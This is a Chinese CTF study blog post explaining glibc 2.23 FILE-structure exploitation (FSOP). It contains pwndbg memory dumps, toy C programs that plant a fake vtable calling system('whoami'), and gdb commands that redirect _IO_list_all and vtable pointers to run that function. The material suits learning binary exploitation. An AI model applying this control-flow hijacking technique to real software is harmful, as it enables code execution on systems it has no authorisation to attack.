第二次看IO_FILE在pwn中的利用

August 7, 2019 PWN 访问: 61 次

前几天学习了IO_FILE相关得操作,但是做起题来还是不知道怎么利用,找不到关键点,所以再看一遍
首先还是用的上一次得demo
进入gdb中动态调试

pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> p $1->file->_chain
$2 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>

通过这两个数据可以看出来,_IO_list_all是一个指向_IO_FILE_plus结构的指针,而_IO_FILE_plus结构体中的file结构体中的_chain成员指向的是下一个_IO_FILE_plus结构体的file结构体
将具体的数值都输出来:
存放 _IO_list_all的内存数据

pwndbg> p &_IO_list_all
$5 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
pwndbg> x/gx 0x7ffff7dd2520
0x7ffff7dd2520 <_IO_list_all>:  0x00007ffff7dd2540

错误输出(stderr)

pwndbg> x/28gx 0x00007ffff7dd2540
0x7ffff7dd2540 <_IO_2_1_stderr_>:   0x00000000fbad2086  0x0000000000000000
0x7ffff7dd2550 <_IO_2_1_stderr_+16>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2560 <_IO_2_1_stderr_+32>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2570 <_IO_2_1_stderr_+48>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2580 <_IO_2_1_stderr_+64>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2590 <_IO_2_1_stderr_+80>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd25a0 <_IO_2_1_stderr_+96>:    0x0000000000000000  0x00007ffff7dd2620
0x7ffff7dd25b0 <_IO_2_1_stderr_+112>:   0x0000000000000002  0xffffffffffffffff
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>:   0x0000000000000000  0x00007ffff7dd3770
0x7ffff7dd25d0 <_IO_2_1_stderr_+144>:   0xffffffffffffffff  0x0000000000000000
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>:   0x00007ffff7dd1660  0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>:   0x0000000000000000  0x00007ffff7dd06e0

标准输出(stdout)

pwndbg> x/28gx 0x7ffff7dd2620
0x7ffff7dd2620 <_IO_2_1_stdout_>:   0x00000000fbad2084  0x0000000000000000
0x7ffff7dd2630 <_IO_2_1_stdout_+16>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2640 <_IO_2_1_stdout_+32>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2650 <_IO_2_1_stdout_+48>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2660 <_IO_2_1_stdout_+64>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2680 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007ffff7dd18e0
0x7ffff7dd2690 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7ffff7dd26a0 <_IO_2_1_stdout_+128>:   0x0000000000000000  0x00007ffff7dd3780
0x7ffff7dd26b0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7ffff7dd26c0 <_IO_2_1_stdout_+160>:   0x00007ffff7dd17a0  0x0000000000000000
0x7ffff7dd26d0 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd26e0 <_IO_2_1_stdout_+192>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd26f0 <_IO_2_1_stdout_+208>:   0x0000000000000000  0x00007ffff7dd06e0

标准输入(stdin)

pwndbg> x/28gx 0x00007ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2088  0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:    0x0000000000000000  0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:    0x0000000000000000  0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff  0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:    0x00007ffff7dd19c0  0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:    0x0000000000000000  0x00007ffff7dd06e0

由此可以得出:
- 错误输出和标准输出的物理地址相邻,而标准输入上它们物理地址的上面
- 每一个_IO_FILE_plus结构体中的vtable指针指的是同一个内存地址:0x7ffff7dd06e0 <_IO_file_jumps>
- 三个_IO_FILE_plus结构体中的内存地址分别是0x7ffff7dd25400x7ffff7dd26200x7ffff7dd18e0
然后我们查看各个区段的分布和权限

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /root/test/demo1
          0x600000           0x601000 r--p     1000 0      /root/test/demo1
          0x601000           0x602000 rw-p     1000 1000   /root/test/demo1
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fda000     0x7ffff7fdd000 rw-p     3000 0
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

vtable(0x7ffff7dd06e0)指针指向的地址是在0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so区域内,而这个区域内的权限只有读权限,并没有修改的权限,这就是我做题时想直接修改vtable内数据时不能修改的原因吧!!!!
三个_IO_FILE_plus结构体在0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so,这个区段的权限是可读可写的
所以当我们想要利用IO_FILE这一块来帮助我们pwn时,那就不能从修改vtable原指针中的内容开始,因为没权限
写一个demo:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void pwn()
{
    system("whoami");
}
char *fake_vtable[21];
int main()
{
    int choose;
    for(int i=0;i<21;i++)
    {
        fake_vtable[i]=&pwn;
    }
    while(1)
    {
        puts("input your choose>>");
        scanf("%d",&choose);
        if(choose==1){
            exit(0);
        }else
        {
            puts("pass!");
        }
    }
    return 0;
}

在gdb中手动修改vtable指针,让其指向fake_vtable

set {char *}0x7ffff7dd2618=0x601080
set {char *}0x7ffff7dd26f8=0x601080

然后继续运行程序发现程序执行了pwn函数,但是我看是在执行puts("input your choose>>");时触发的pwn函数,可能时因为我改了标准输出流的vtable指针的值了吧
下面我验证一下:
- 只改stderr的vtable时不能触发pwn函数
- 只改stdin的vtable时在scanf时触发pwn函数
符合我们的猜想
那么FSOP是这样改的吗? 我查看了ctf-wiki上的文章以及其他人总结的文章,他们并不知直接修改的vtable指针,而是直接伪造了一个_IO_list_all指针,让其指向用户可控制的区域,在这个可控的区域伪造一个_IO_FILE_plus
FSOP原理的关键代码:

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;
#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif
  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)//调用了_IO_FILE_plus->file->vtable->_overflow
    result = EOF;
      if (do_lock)
    _IO_funlockfile (fp);
      run_fp = NULL;
      if (last_stamp != _IO_list_all_stamp)
    {
      /* Something was added to the list.  Start all over again.  */
      fp = (_IO_FILE *) _IO_list_all;
      last_stamp = _IO_list_all_stamp;
    }
      else
    fp = fp->_chain;
    }
#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif
  return result;
}

有一个if语句中存在调用了_IO_OVERFLOW,但是这个条件是if语句最后一个条件,要想运行,只能是前面的条件都得为真
条件:
- fp->_mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
从stderr文件流来看初始值:

pwndbg> p *(struct _IO_FILE_plus *) 0x7ffff7dd2540
$2 = {
  file = {
    _flags = -72540026,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
  • file->_mode=0
    • _IO_write_ptr=_IO_write_base=0

想要成功运行我们伪造的fake_vtable,就需要满足 _IO_write_ptr>_IO_write_base
再次在gdb运行test,手动修改_IO_write_ptr和vtable指针,然后调用exit函数,成功执行pwn函数

pwndbg> c
Continuing.
input your choose>>
1
[New process 1553]
process 1553 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No source file named test.c.
[New process 1798]
process 1798 is executing new program: /usr/bin/whoami
root
[Inferior 3 (process 1798) exited normally]

稍微修改一下刚刚的demo,添加一个fake_io_file_all

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void pwn()
{
    system("whoami");
}
char *fake_vtable[21];
char *iofilepuls[28];
int main()
{
    int choose;
    for(int i=0;i<21;i++)
    {
        fake_vtable[i]=&pwn;
    }
    iofilepuls[5]=0x1;
    iofilepuls[27]=fake_vtable;
    while(1)
    {
        puts("input your choose>>");
        scanf("%d",&choose);
        if(choose==1){
            exit(0);
        }else
        {
            puts("pass!");
        }
    }
    return 0;
}

在gdb中手动修改_IO_list_all指针的值为iofilepuls的地址,然后执行exit,成功执行pwn函数
那么标准伪造io_file_plus结构如下所示:

0x601140 <iofilepuls>:  0x0000000000000000  0x0000000000000000
0x601150 <iofilepuls+16>:   0x0000000000000000  0x0000000000000000
0x601160 <iofilepuls+32>:   0x0000000000000000  0x0000000000000001
0x601170 <iofilepuls+48>:   0x0000000000000000  0x0000000000000000
0x601180 <iofilepuls+64>:   0x0000000000000000  0x0000000000000000
0x601190 <iofilepuls+80>:   0x0000000000000000  0x0000000000000000
0x6011a0 <iofilepuls+96>:   0x0000000000000000  0x0000000000000000
0x6011b0 <iofilepuls+112>:  0x0000000000000000  0x0000000000000000
0x6011c0 <iofilepuls+128>:  0x0000000000000000  0x0000000000000000
0x6011d0 <iofilepuls+144>:  0x0000000000000000  0x0000000000000000
0x6011e0 <iofilepuls+160>:  0x0000000000000000  0x0000000000000000
0x6011f0 <iofilepuls+176>:  0x0000000000000000  0x0000000000000000
0x601200 <iofilepuls+192>:  0x0000000000000000  0x0000000000000000
0x601210 <iofilepuls+208>:  0x0000000000000000  0x0000000000601080

总结

再次看这个利用方式,比第一次看思路清晰了很多

添加新评论